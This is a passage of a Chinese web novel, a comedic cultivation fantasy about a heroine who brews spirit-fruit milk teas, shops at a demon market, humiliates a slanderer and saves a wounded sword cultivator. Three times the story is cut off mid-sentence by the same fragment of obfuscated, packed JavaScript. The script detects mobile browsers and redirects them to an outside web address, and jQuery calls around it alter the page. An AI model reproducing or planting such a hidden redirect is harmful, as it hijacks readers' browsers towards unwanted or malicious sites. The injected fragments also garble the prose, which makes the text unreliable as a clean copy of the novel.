“没有。”晏山青松开手,乌以灵顿觉身上一轻,但还来不及喘气,他又单手捏住她的后颈,“小师妹的秘方,师兄本以为只是给我一人的甜头,现在看来是师兄自作多情了。” 乌以灵心里明白过来,原来不是头疼,是病娇客户的占有欲发作了。 她吸吸鼻子,有些可怜地说,“师兄明鉴!食修毕竟是我安身立命的根本,回馈师门实在无可辩驳。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179988|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “但是。”乌以灵在晏山青收紧手中力道前火速补充道,“我给您的秘方是独一份的,和别人都不一样。那是注入我全部心血,专门针对您头疼所调制的特别版!” 只有给晏山青的奶茶里注入了灵力,当然和别人不一样。 她夸大两句倒也没什么。 晏山青眉头微挑,低头看见少女眨着一双乖巧的圆眼,语调清甜,“我再和您讲一个只有您知道的秘密。我这秘方的功效您也看到了,前景广泛。您可愿意与我合作?将来若是得利了,您可以和我共享。” “而且,师兄这样神通广大,若能提供些稀有灵果给我研究,我定能调配出效果更好,更适合师兄的‘良药’。” 乌以灵说这话是有准备的,她能看出反派对奶茶颇感兴趣,而自己大比当前,无疑要搜寻上好的食材,但苦于没有资源手段,倒不妨借反派之手推自己一把。 说话间,她看着晏山青腰间光华流转的玉佩,那一看就很值钱。于是心里的念头愈发坚定。 晏山青放开她,“好啊,师兄愿意。” 乌以灵没想到他这么好说话,原本打好的腹稿居然都用不着了。 晏山青静静看着她,想起昨天替她整理发丝时顺手黏在她发带上的千里眼咒决,他清楚地看见了乌以灵在学宫里大放光彩,清楚地看见了乌以灵和那两个食修吵吵闹闹,也清楚地看见了,乌以灵课堂上闲着无聊顺手用毛笔写在纸面上的涂鸦。 “病娇客户+1:晏山青——青提茉莉” 虽然不知道“病娇”是什么意思,但不难猜出不是什么好词,他倒是没有想到,小师妹对他怨念颇深,那他还偏要和她合作,看看她葫芦里卖了什么药了。 他丢给乌以灵一个硬邦邦的东西,乌以灵手忙脚乱接住它。 接过那东西的瞬间,乌以灵立即一股阴冷的气息穿过皮肤渗进骨头里。借着月光,她看见那是一只森白的骨笛,骨笛上刻着暗红色的花纹,看着实在不像是仙界的东西,她不由得暗暗皱起眉。 晏山青解释道,“你带着此物去妖市,那里的妖自会关照你,想要什么珍奇异宝都能找到。” 当然他不会告诉她,妖市也是他的地盘,她买了什么他都能知悉。 乌以灵眼睛一亮,这倒是笔丰厚的启动资金,但要动用这笔资金还要些周转,倒是个不小的问题。 看来接下来还要去一趟妖市。 随后又听晏山青道,“师妹可不要让我失望啊……否则后果你是知道的。” 乌以灵没有理会他的威胁,顾自道,“多谢师兄,若是得了好处,我们三七分。” 晏山青笑问,“你七我三?” 乌以灵连忙摇头,“我三你七。” 晏山青似乎没有要计较的意思,“师兄有些事,先走了。” 乌以灵连忙松了口气,“师兄慢走。” 看着晏山青的身影逐渐远去,乌以灵终于松了口气。 脑后飘扬的发带有些发热,乌以灵有些疑惑地摸了摸,什么也没有发现。 她握紧手里的骨笛,目光变得坚定。 她有解药的残渣,有奶茶的配方,甚至短时间里就在食修站稳脚跟……但在反派的威胁前,这些还不太够,她要借半月后宗门大比这个跳板,快速跳往反派够不着的地方。 月色下的阴影里,晏山青脸上的温润笑意顿时冷下来,千里眼咒决的微光在他指尖熄灭。 这个乌以灵倒是比他想得有趣得多。 她的秘方确实是好东西,晏山青几乎可以预料她未来的发展。 那他正好可以借此…… 至于目标达成之后,是继续留在这个小玩意,还是宰了她呢? 青衣仙人月下的影子,似乎微不可查的扭曲了一瞬,仿佛有什么怪物藏在里面,随时可能脱去人皮,啃噬血肉。 4. 杨枝甘露(四) 次日一早,乌以灵顶着两个硕大的黑眼圈,脚步虚浮地飘进学宫。 “天呐小乌。”苏烟枝惊呼一声扑上前来,满眼诧异地摸摸她的脸,你怎么变成熊猫了?怎么这么憔悴?” 安慈满脸担忧地扯了张椅子让她坐下,“我们走之后晏师兄没把你怎么样吧?他没揍你吧?” “没事,晏师兄只和我说了两句话就走了。”乌以灵摆摆手,声音是熬夜之后的沙哑,“我这是昨晚整理配方熬出来的。” 说完,她动作小心地从包袱里取出昨夜晏山青给她的骨笛。 朗朗日光下,这支骨笛依旧森白冰凉,暗红色的花纹好似干涸的血迹,妖异不详的气息丝丝缕缕蔓延开来。 苏烟枝好奇地凑上去,“骨笛……不过这看着可不太像什么好东西呢。” 乌以灵三言两语讲了她和晏山青的交易,略过她替晏山青治疗头疼和晏山青给自己下毒的前缀,只说晏山青对她的奶茶也很感兴趣。 安慈听后若有所思地点点头,“所以你想去妖市找食材?” 乌以灵拿起骨笛,强撑着不让自己的疲惫传染给两人,“正是,你们可愿与我同去?” “好呀好呀,我最喜欢逛妖市了。”苏烟枝连忙答应,她眨巴着眼睛凑上来,“那里的好东西多得简直难以想象,什么珍奇异宝都有,而且价格还公道,我早就想去了。” 安慈自然也没意见,他对两人说,“那你们先坐会儿,我去和长老批个外出申请。” 苏烟枝笑嘻嘻地打发走了他,又没骨头似地靠在乌以灵身上,“唉,这还是我来玉音宗这半年第一次外出呢。” “难道宗门还限制外出吗?”乌以灵有些奇怪,按理说这种修仙世界观下宗门弟子不应该是越多出门历练越好吗? 苏烟枝撇撇嘴,“因为我们穷啦,你看我们食修出门又不能御剑,去稍远点的地方只能乘飞舟,但整个食修系拢共就一叶飞舟,据说还是长老创道之初买的,估计年纪比长老还大。但还是僧多粥少根本用不上。久而久之就一直拖着没能出去。” 乌以灵:“……”还是低估了专业的落魄呢。 没多久安慈回来了,手里还拿着个白色瓷盘。 他朝两人招招手,“直接走吧,我和长老说过了。” 乌以灵看着他手里那个瓷盘,“这是什么?” 安慈以为她是过去没有认真听讲,于是解释道,“当然是飞舟啊,这可是我们食修系唯一一个飞舟呢。” 在乌以灵宛如见了鬼的目光,那个瓷盘被放到地上,在“嗡嗡嗡”的怪叫声里迅速变大,直到大得可以坐下四五个人。 瓷盘飞入云海时,乌以灵还有些恍惚。 她摸着身下瓷盘光洁的触感,忽然一个大胆的念头涌上心头。 如果用它运送食材,似乎是个不错的选择,容量大不说,携带起来又方便,巴掌大的瓷盘居然比百吨王还能装…… 乌以灵主动问两人,“妖市一般在什么地方呢?” 苏烟枝躺在瓷盘中央,慵懒地晒着日光,“通常是在江河之滨与高山脚下,总之是些车水马龙和山林草莽的交界处,这样他们既能招揽山野精怪也能吸引普通百姓,两头赚钱稳赚不亏。” 安慈挠挠头顶,“你似乎很了解妖族。” 苏烟枝嘿嘿一笑,“可能是因为我自小常和妖族打交道吧。” “之前讲过吗,我出生农家,那是个山旮旯里的乡村,所以我们身边时常能见到山中的妖怪,甚至有化形的妖族化成人形跑到村里过日子。小时候家里偶然得了只老青牛,它犁地最是厉害,十里八乡的耕牛都比不过它,但它只在家里待了三年就不见了。后来我才知道爹曾经救过个吃错草中毒的牛妖,那牛妖为报恩才来我家当了三年耕牛。” “所以啊……”苏烟枝总结道,“你们也不难看出,妖族和普通人差不多,它们也有着一套自己的族群法则。但妖族也和人类不太一样,它们不会在某个地方安定下来,相反的他们逐风雨水草而居,四海为家随云漂流。天下之大,你却在每一块大陆上都能找到妖族的踪迹。” 她又指指乌以灵手里的骨笛,目光严肃了几分,“若是我没有看错,这应该是妖骨,而且是大妖的妖骨。晏师兄说可凭此物号令妖族,想来是因为妖骨的主人过于强大,小妖们被余威震慑不敢冒犯。” 乌以灵眉头微蹙,“妖骨吗?” 她心想,以晏山青那个脾气,这东西别是他从哪只妖怪身上扒下来的…… 瓷盘飞舟的速度很快,没多久闯入了一片碧色山水间。正下面一弯苍绿的江水蜿蜒奔腾,直向远方而去。 苏烟枝趴在瓷盘边,“看到江水边那条花红柳绿的长丝带了吗?那就是妖市,它们喜欢用鲜亮的东西做成屋棚,这样天上飞行的修士也能看到他们。” 安慈听后调转瓷盘的方向,让它缓缓打着转降落在江水侧畔。 他环视着四周,“此江名为苍玉江,传说江水里有珍宝苍玉翎,可以医死人药白骨,千百年间不断有人想从江水里挖出苍玉翎。” 苏烟枝不由咋舌,“假的吧?即使真有这种宝贝,估计也早就被大宗门里的老家伙们掘地三尺挖走了,有时间都够他们炼化成丹一跃飞升了。” “好啦好啦。”乌以灵一手一个拉住两人,“管它真的假的,我们赶紧走吧,这天色不太对,怕是要下雨了。” 两人同时抬头,果然方才还晴空万里的蓝天不知何时起阴云密布,天边闷雷阵阵,暴雨来临前的山风裹挟着水气扑面而来。 乌以灵从包袱里掏出纸伞,“好了,快些去妖市吧。” - 妖市和人类的集市很像,都是在道路两旁支起一个个流动小摊,五颜六色的摊位后面是一张张形色各异的面孔。 有长了牛角的,有留着狐狸尾巴的,甚至还有长着长长翅膀的。 三人兵分两路,乌以灵和安慈去挑灵果,苏烟枝则去买茶叶和牛乳。 乌以灵在卖灵果的摊位前停下,摊主是个棕色头发细长尾巴的少年。看这小妖滴溜溜转着的眼睛,乌以灵猜测他是个猴妖。 见来了人,摊主立刻眼冒精光,尾巴兴奋地晃来晃去,“姑娘好,想买灵果吗?那您可找对人了,吾乃山间一小猴,游山玩水行至万里,尝过天下所有灵果,您想要什么样的果子都能为你找来。是想要可以美容养颜的,我这里都有;是想要凝心静气的,我这里也有;还是想要强身健体的,我这里……” 果然是小猴子,好吵。 乌以灵仔细看着摊位上形形色色的灵果,又拿起其中两个仔细闻了闻。 她的猜测是对的,这个世界里的灵果虽然样子基本差不多,都是拳头大小个头圆圆。但味道和颜色是完全不一样的,它们的味道乌以灵大多比较熟悉,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179989|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草莓、葡萄、芒果、苹果这些奶茶常客,也有榴莲、莲雾、香蕉这些基本不会出现在奶茶里的。 而且它们没有名字,都叫灵果。 乌以灵故意道,“小猴哥,你方才说你的灵果各有不同的功效,我想要什么功效都可以找到?但是这灵果真有这么神奇?你可知,如今最厉害的灵果也不过是勉强能帮人提高修为罢了。” “呸呸呸!”猴子摊主气得面色涨红,差点原地起跳蹦到乌以灵身上化成原形捶她的脑袋,“一派胡言,你们这些修士简直是一派胡言!你们根本不了解灵果,灵果明明是最好的补品,但你们一点不会用它们。害得那么多灵果白白浪费在你们那破仙门里头。” 安慈也察觉到这小猴子话里有话,于是上前两步,“你说我们不会用?我们好歹也是食修,每天都是和食材打交道。那你倒是说说这灵果该怎么用?” 猴子摊主瞪着他,鼻孔里重重哼了一声,如数家珍般捧起几个灵果,“你们不会用灵果,也不了解灵果,只是将它们统称为‘灵果’。那你们可知道每一种灵果有什么功效,他们之间有什么区别?简直一群囫囵吞枣的家伙,真不像话!你看这个黄色的,可以美容养颜;再看这个绿色的,可以忘忧安眠……” 乌以灵眼睛一亮,果然,每种灵果都是不一样的。 她昨夜捣鼓着原主屋里剩下的灵果挨个试着做出茶饮,隐约摸索到这些灵果虽然都能助人提高修为增强灵力,但它们提高修为的方法似乎也不一样。像是草莓灵果是通过打通体内郁结的沉疴旧疾从而把全新的灵力注入体内,又像是芒果灵果是通过活络经脉从而让人荣光华发容貌更甚。 但她那时也只是隐约意识到这点,现在听了猴子摊主的话,她想自己的预感似乎是正确的。 于是乌以灵带着歉意主动退让,“竟是这般,看来是我们才疏学浅了。这样吧,摊位上的灵果我们各要一种。” 猴子摊主上上下下打量着乌以灵,见她眼里的认真不似作假,语气也缓和了几分,“你们是食修?我从前还真不知道仙门里有这个修系,那你们是钻研吃食的吗?听起来好好玩,招妖怪吗,我也想去试试。” 乌以灵动作麻利地拿着纸袋包装灵果,“当然可以,随时欢迎。不过话先说在前头,我们食修的地位可不高,来了可要做好三年吃不饱的准备。” 猴子摊主听后若有所思,“听起来挺惨,算了,我还是继续吃果子卖果子吧。” 乌以灵和安慈各抱着满满一袋子灵果离开摊位,安慈心里仍有不解,主动问乌以灵,“方才那猴妖说每种灵果的功效各不相同,你也觉得这是对的,所以才故意激他继续说下去吗?” 乌以灵点点头,“是的,猴妖自幼食灵果长大,味觉比人要灵敏得多,他能尝出灵果里蕴含的灵力不同之处,我们却要通过制作奶茶的辅助才能激发出来。” 安慈有些急了,“那为何不让他讲完每种灵果的功效?” 乌以灵摇摇头,“猴妖一族有自己的天赋,但我们普通人却感知不到他所说的各类功效,只能通过制作奶茶来最大程度激发出每种灵果的功效。比起依靠猴妖的经验,我更想依靠实践出真知,所以我要亲自试过每种灵果的味道。并且,我还想给每种灵果命名,这样也方便区分……” 安慈正听得入神,忽然,背后传来一道明显不善的声音。 “乌以灵,站住!” 5. 杨枝甘露(五) 两人同时回头,看见不远处站着个满脸倨傲不屑的少年。 只见那人年岁不大,气质极为跋扈,他抱着手臂,几乎是用鼻孔看人。最扎眼的是他少年早秃,才十几岁满头黑发就只剩寥寥几根。这衬得他那份嚣张的气焰有些荒诞滑稽。 乌以灵不由得皱眉,又听见安慈低声问,“这是谁?” 乌以灵反复搜寻着原主模糊的记忆,终于记起来这人是谁。 原主生了张好脸,这为她惹来了不少麻烦。在入宗之初有不少好色之徒向她示好,可原主一心扑在晏山青身上,压根不搭理这群人。于是追求者们恼羞成怒,恶意造谣诋毁原主,说她是疯子,是荡.妇,是废物。 而原主本就因为修行不精和骚扰晏山青风评不佳,再被这群人造谣中伤,后来在宗门几乎成了人人喊打的过街老鼠。 至于眼前这人,就是带头造谣原主的剑修蒋卜同。 见乌以灵迟迟没有回话,蒋卜同急了,他步步逼近,声音拔高,语气里满是恶意的嘲讽,“哟,几天不见,你怎么又勾搭了别的男人?是因为晏师兄的床榻爬不上去?所以你又像条狗一样去追着别人了?乌以灵,你是离了男人就会死……” “砰!” 他话音未落,安慈已经重重一拳打在他脸上。 这拳用了十成十的力气,沉闷的骨肉撞击声下,蒋卜同直挺挺仰面栽倒,一张脸被打偏过去,半边脸颊以肉眼可见的速度迅速变红,只瞬间就肿成猪头。 “呸!”蒋卜同吐掉嘴里的血沫,挣扎着站起身,“居然敢打老子……怎么,被我戳中痛脚了?兄弟我看你也不像喜欢她这种破鞋的人,小心别被这贱人骗了!” 安慈气得脸色涨红,“放屁,你少满口胡话……” 他额角青筋直跳,攥紧的拳头里骨节咯吱作响,说着又要冲上去打他。 一只微凉苍白的手按在他拳头上。 安慈猛地停下停下,难以置信地看着乌以灵,“小乌,这种屁话连篇的人你不去揍他一顿?” 他们的动静不小,周围已经围了一圈看热闹的妖怪,他们伸着脑袋,各色奇异的眼睛好奇地打量着三人,嘴里用着妖族的土语窃窃私语。 乌以灵在蒋卜同面前驻足,语气冷淡平静,丝毫没有恼羞成怒的样子,“原来是蒋师兄,我今天似乎起早了些,好像听见鬼叫了,你听见了吗?” 说完还做了个侧耳倾听的动作。 蒋卜同怒道,“你!” 乌以灵的目光缓缓划过他锃亮的脑门,“蒋师兄头发没有几根,看来操得心确实不少。每天除了要外传些关于我的谣言,还得关注我和晏师兄的动向,又要兼顾学业,这样看来少年早秃也是有原因的。” 她轻飘飘的语气好似利刃,一刀刀划在蒋卜同心里最膈应的痛处。 蒋卜同半天没憋出个屁来,他从前只道乌以灵是个受气包,即使被他们嘲讽了也和废物自己受着,今天能看到乌以灵当众反将一军倒是太阳从西边出来了。 蒋卜同被她怼得整张脸涨成猪肝色,围成圈的妖怪对着他指指点点,甚至有那么一两句听不懂的调笑传入耳中,他死死攥着手心,指尖几乎扣出血来。脸色也由红转紫,嘴唇哆嗦颤抖着,恨不得找个缝钻地里去。 乌以灵抱着手臂,语气忽然一转,带着点施舍般的怜悯,“不过师兄要是实在苦恼早秃的话,我也不是没有办法。” 蒋卜同下意识开口,“什么?” 乌以灵扔给他一瓶无色无味的液体,“我研制的生发液,你记得每天都要喝。过两个月头发就长出来了。” 蒋卜同因为早秃被人耻笑了许久,他求医访道多年无果,这也导致早秃成了他心里的一根刺,如今机会摆在眼前,蒋卜同紧抿着唇,“我凭什么信你?” 乌以灵嗤笑道,“爱信不信,左右我又不欠你什么。” 蒋卜同看着眼前唇红齿白的明媚少女,眼里是他从没有见过的鲜活灵动。他喉结滚动,心想莫不是师妹回心转意了?送他生发液是不是喜欢他?那他岂不是还有希望? 蒋卜同点点头,“好,那就信你这一回。” 他转身离开时,全然忘了隐藏在妖群后的同党,同党们见他莫名其妙捞了好处,不由得低声咒骂,互相之间交换了一个怨毒的眼神,又恶狠狠瞪了乌以灵一眼,大有不会善罢甘休的意味。 见蒋卜同要走了,安慈又急了,“小乌,不能就这样放走他!” 乌以灵嘴角勾起抹有些狡黠的坏笑,“那瓶子里装的是强效脱毛膏,他要是每天喝的话不出半个月就能变成秃头怪,反正他那种猪脑,我就是给毒药他也会喝的。” 安慈牙疼似的皱皱脸,嘟囔道,“也太便宜他了。” “当然不会放过他,让他秃头只是想把他暂时关在家里不出来给我惹事。”乌以灵弯腰捡起在争执时掉落在地的灵果,“如今我人微言轻报复不了他,等宗门大比之后,若能在宗门里争得一线话事权,我会提出把他赶出玉音宗。同他同流合污之辈,自然一个也不会放过。” 安慈脸色和缓了些,但语气仍然低落,还带着一丝难以掩盖的心疼,“小乌,你的担子未免太重了些。” 他又道,“若是下次再遇到这种人,一定要告诉我们,大家一起对付他们。” 乌以灵捡拾灵果的动作一顿,她原以为自己占了原主的身子,为原主报仇理所应当;又原以为自己两手空空来到异世界,为改变死局赌命一搏在所不惜。 所以即使来到这里后即使承受了太多的恶意与杀心,她也觉得无所谓。 但在听到安慈的话后,一股暖流还是涌上心头。她觉得自己还是幸运的,至少初来乍到,就能结交到于她共患难的好友。这份质朴的情谊,足以支撑乌以灵面对前途未知的风雨。 “小乌!安慈!” 苏烟枝费力扒开熙熙攘攘的妖群挤上前来,她看看还没散尽的妖怪,又看看安慈余怒未消的脸,连忙问,“出什么事了?怎么这么多人?” 安慈三言两语讲完经过,苏烟枝听后气得转身就要去寻蒋卜同,还是安慈反身抓住她让她冷静一点。 “这种人简直是地底的臭虫,太过分了!别拦我,我要去撕烂这猪头的嘴!” 苏烟枝怒气填胸,乌以灵拍拍她的背给她顺气。 在冷静下来后,苏烟枝想到什么般又道,“对了,我方才买牛乳时还见到了几个剑修,他们似乎是来此地诛杀魔物。我打听到那魔物凶险得很,又擅长伪装,现在估计已经混迹在妖市里,我买到东西就尽快回去吧。” 乌以灵看着手里的灵果,“我们刚刚去买了些普通灵果,现在正打算去买稀有灵果,买完就走如何?” 苏烟枝点点头,“那好,我们一起去。” 正说着,豆大的雨珠滴落在乌以灵脸上,她迅速拿出油纸伞。这伞看着不大但在打开的瞬间立即膨胀开来,直到能把三个人完完全全笼罩在伞下。 几乎是同时,暴雨倾盆而至。 白花花的雨幕劈头盖脸砸下,狂风呼啸着撕扯着山林,天边暗青色的闪电和隆隆的雷声此起彼伏,一时间竟是寸步难行。 妖怪们反应更快,他们飞速捻决,随后玲琅满目的摊位被折叠收缩,直到缩小成一颗颗珠子被妖怪们火速揣进兜里。 而后一群妖怪化作原型,满街的狐狸兔子棕熊甚至是甲壳虫四散逃开。 不到一刻钟,方才还热热闹闹的集市迅速冷清空荡下来,只剩下零星几个被淋成落汤鸡的普通人仓皇奔逃寻找避雨处。 苏烟枝抿抿嘴,“坏了,我给忘了,妖怪们最讨厌雨天,因为雨水会弄湿毛发,他们雨天从不出摊的……算了算了,别管什么稀有灵果了,先寻个地方落脚等雨停再说吧。” 安慈四处张望着,伸手指向不远处山脚下的一间小庙,“你们看那里如何?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179990|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨越下越大,现在也容不得犹豫,乌以灵只能顶着要被掀翻的油纸伞闷头往安慈指引的方向跑。 等冲到庙前,三人才发现此处似乎才荒废不久,地方不大但坚固安稳,湿润的青苔爬满了石墙,山溪因暴雨而水声轰隆,自庙后湍急奔腾而下。 才进庙,淡淡的潮气和霉味混杂着泥土味扑面而来。 庙里供奉着尊蒙尘的神女泥像,垂眼低眉,翩然欲飞。只是她的面容在昏暗天光下显得有些朦胧不清。 安慈扫视一圈,找了个相对干净的空地,三两下收拾了灰尘湿泥,又不知从哪寻来堆干草铺,在地上厚厚铺了一层,这才招呼乌以灵和苏烟枝坐下。 三人坐在干草堆上吃着灵果喝着牛乳,不时抬头看看外头雨势如何。 只是这雨似乎没有减小的意思,外头狂风暴雨电闪雷鸣,天光愈发昏暗。深山老林里不时传来宛如鬼哭的呼啸风声,让人不由得脊背发凉。 苏烟枝手里掂量着一个黄色灵果,“所以,小乌你想给每种灵果取名字来区分它们的功效?我觉得可以诶,那怎么取名呢?” 安慈咽下口中的牛乳,“小乌,你之前说牛乳和茶叶可以催化灵果中的灵力。我有个问题,那单就茶叶和牛乳本身的灵力会有可能和灵果同样的灵力吗?” 苏烟枝点点头,“是诶,我们可以试着挖掘其它食材的灵力,看看怎么把它们全部激发出来。” 乌以灵借着窗口透进来的微弱天光,仔仔细细按味道给每种灵果分类,闻此抬起头来,“当然可以,等我们有时间就试试。” 她又接过苏烟枝递来的黄色灵果,主动问,“你觉得它的味道怎么样?” 苏烟枝仔细想着,“甜甜的,我还是来了宗门才吃过呢。过去家里似乎种不出来这种灵果。” 说着她又拿起另一个红色灵果,“家里种这个种得多,但我不太喜欢它的味道。不算甜也不算酸,吃起来怪无聊的。” 乌以灵心下了然,那个黄色的是芒果,而那个红色的是苹果。 这个世界里虽然这些灵果和原世界的水果大相径庭,但却离奇地保留了果子的基本属性,比如味道,比如生长条件。 她怀疑这是作者写文时候的漏洞,倒是让她捡了个便宜。 她给灵果们一个个分类贴好标签,再用笔记下它们的味道,最后才分门别类写下常用灵果的名字。 庙外雨声哗哗风声呼啸,屋后溪水的轰鸣和雨打屋瓦的噼啪声交织作响,时间的流逝在大雨里变得缓慢,让人分不清到底过了多久。 听着单调连绵的雨声,安慈窝在干草堆里几乎有些犯困。 “吱呀——” 忽然,一个裹挟着满身雨水气的少年推开庙门。 天光昏暗,看不清他的脸,只能勉强看见这人身上水蓝色的衣衫和腰间的佩剑,三人瞬间认出这人是玉音宗剑修。 他们才和玉音宗的剑修蒋卜同起过争执,心里的阴影未散,现在难免警惕,他们没有主动开口,只是警惕地盯着门口。 这人也察觉到有人,但他似乎没有想开口交谈的意思。 他一步步挪向离三人最远的草垛,背对着他们盘腿坐下。他的肩膀似乎在颤抖,似乎发出来一声压抑的闷哼,仿佛在极力忍耐着什么。 但外面雨声浩大,很快就什么声音都听不见了,一切都被淹没在雨幕与黑暗里。 似乎那声奇怪地闷哼和细微的颤抖只是错觉。 那人身上拖着滴滴答答的水声和看不清颜色的水渍,仿佛被大雨淋成了落汤鸡。 正当乌以灵打算继续埋头整理灵果时,角落忽然传来扑通一声。 她猛地抬起头,这时她才终于看清,那个剑修所过之处淌下的不是雨水,是暗红色的血水!是满地刺目粘稠的血水! 顿时,浓郁的血腥味在狭小的庙里弥漫开来。 而那个剑修直挺挺栽倒在地,一动不动。 6. 冰淇淋红茶(一) 顾不得多想,安慈一个箭步率先冲上前。 他探着剑修的鼻息,感受到这人微弱的气息,面色瞬间凝重起来,“还活着,但他受了很重的伤。” 乌以灵和苏烟枝随后围拢过来,苏烟枝看着地上逐渐扩大的暗红色血泊,一时间脸色惨白如纸,她的手指哆哆嗦嗦碰向剑修的衣襟,想探出他到底是哪受了伤。 乌以灵动作麻利地扯开包袱,取出里面唯一一个火折子,划亮后立在旁边。 “啪!” 原本双眼紧闭的剑修猛地睁开眼睛,死死攥住苏烟枝伸向自己的手,语气微弱,“你们是何人……要做什么……” 苏烟枝被他这一打岔,心里的恐惧居然离奇地驱散了不少。这人毕竟受了重伤,现在力气也没多大,她毫不费力地掰开剑修的手,“哥们,你可看清楚了,我们在救你。” 剑修抿紧唇,豆大的汗珠顺着苍白得脸滑落,他艰难地喘着气,喉结上下滚动却发不出一点声音。 苏烟枝撕开他沾满血的衣服,露出那具布满伤痕的身体,横七竖八的血痕狰狞可怖,最严重的是胸口的血窟窿,那出深可见骨的撕裂贯穿了整个胸膛,几乎像是被猛兽生生撕咬下了一大块血肉,鲜红的血水不断地向外渗出,染红了他身下的地面。 乌以灵面色微沉,她问两人,“你们有带止血的东西吗?” 两人脸色难看地摇着头。苏烟枝手忙脚乱地把这剑修的相对干净的衣服撕开,整理成一条一条的布片试图缠在他伤口上。 安慈懊恼地捶着地面,“该死,没想到会出事的,什么也没带!” 苏烟枝看着剑修愈发灰败青白的脸,心里顿感不妙,“不行,要是他再得不到救治会死的……血……血都快流干了……” 安慈握紧拳头,声音里充满了浓浓的无奈,“我们的飞舟不能沾水,这鬼天气一时半会也回不了宗门。” 乌以灵抬头看向门外依旧肆虐的风雨,他们好像被困在了狂风暴雨间的一叶扁舟里,江水汹涌翻腾,舟身摇摇晃晃,随时可能倾覆落入无尽波涛中。 她看着手里黄澄澄的灵果,又看向随时可能丧命的陌生剑修,最后深吸一口气,“别急,我们手里不是有可以补充灵力的灵果吗?” 苏烟枝眼睛豁然发亮,“对啊对啊,小乌,快!我们来帮你!” 乌以灵也没有推拒,她把茉莉花茶晶体扔给苏烟枝,“快去泡茶。” 随后火速转身,扑在地上花花绿绿的灵果里飞快搜寻着,手指不断翻过那堆冰凉杂乱的灵果。很快她的额角渗出一层薄汗,她口中无意识地念念有词,脑中飞快回忆着她试出来的每种灵果增强灵力的方法。天色愈发昏暗,而唯一的火光在安慈和剑修那里,这无疑又为她的搜寻增加了难度。 “找到了!” 乌以灵心里一喜,她迅速挑出那几个绿色和紫色的灵果,用衣服兜着跑到装着工具的包袱前跪坐在地。她草草解开包袱,用尽全身力气抓起杵子匆匆捣了几下,在青提灵果榨出汁水后就立刻放下。 刚好这时苏烟枝也抱着泡好的茉莉花茶走过来,她动作麻利地把茉莉花茶放在乌以灵伸手可及的地方。 乌以灵手里动作忙碌,她头也不抬,“快凝冰!” “凝冰?” 苏烟枝动作比脑子快,虽然脑袋还没转过弯,但手中已经下意识按乌以灵说的去做了。她的灵力有些焦急,凝出来的冰块也歪七扭八的,但显然没有人来得及注意这些。 此时乌以灵正好把葡萄汁和青提果肉还有茉莉花茶倒在同盏杯中,她接过苏烟枝凝的冰块,哐哐倒进杯子里。 苏烟枝接过摇好的灵饮,兔子似的三两下弹射到剑修身边。 没有给他拒绝的机会,她捏起剑修的鼻子,又用眼神示意安慈掰开他的嘴巴,直接把满杯的液体灌进了这人嘴巴。在灌完后又一把夹住他的嘴巴不给他一丝一毫吐出来的机会。 “咳!咳!” 剑修爆发出撕心裂肺的咳嗽,浑身剧烈地抽搐,但咳着咳着,原本苍白宛如尸体的脸色居然离奇地逐渐红润起来,甚至汩汩渗血的伤口也奇迹般止住了血。那块最为可怖的撕咬处以肉眼可见的速度飞快愈合着,好像有神奇的大手将灵力强行灌注到他身体里,让他浑身经脉通畅,伤口痊愈。 乌以灵终于松了口气,她跌坐在剑修身边,脸上露出一丝如释重负的笑容,“太好了,看来是起作用了。” 安慈见这人挣扎着要睁开眼坐起身,于是扶着他的背让他缓缓倚靠在自己身上。 剑修睁开眼睛,虽然他的面色依旧憔悴支离,但已经不像最初那样濒死灰白,暖黄的烛光映在他脸上,映出涣散的眼睛和轻颤的长睫,他的语气虚弱但礼貌,“多谢诸君了……” 苏烟枝把包袱里的备用衣服披在他身上,终于来得及问出心里的疑惑,“看你的打扮,你也是玉音宗的剑修,那你姓甚名谁?到底是怎么回事?谁把你伤成这样?” 剑修吐出一口浊气,似乎在努力凝聚着散乱的思绪,“林昱南……除魔……被魔物中伤。” 林昱南? 乌以灵面露诧异,原书男主?林昱南? 她皱眉看向靠在安慈身上虚弱不堪的高岭之花男主,又看看身边满脸疑虑惊诧的小白花女主。 别说一见钟情了,这两个人完全八竿子打不着,这小说剧情怎么完全乱套了? 但顾不得多想,此时一股强烈的不安正笼罩在乌以灵心头,思及林昱南说的“魔物”和苏烟枝在集市上听到的消息,还有门外无休无止的暴雨,她愈发觉得这个破庙不宜久留,潜在的危险随时可能再次袭来。 于是她果断开口,语气急促而严肃,“林师兄,你说你被魔物所伤,能讲讲是怎么伤的吗?” 林昱南缓慢地点点头,“集市上偶遇暴雨……和同伴们走散,然后眼前一黑,又感知到了魔气,接着闻到了雨水的味道,最后就这样了。” 乌以灵:“……” 哥们搁这唠海龟汤呢?乱七八糟什么玩意? 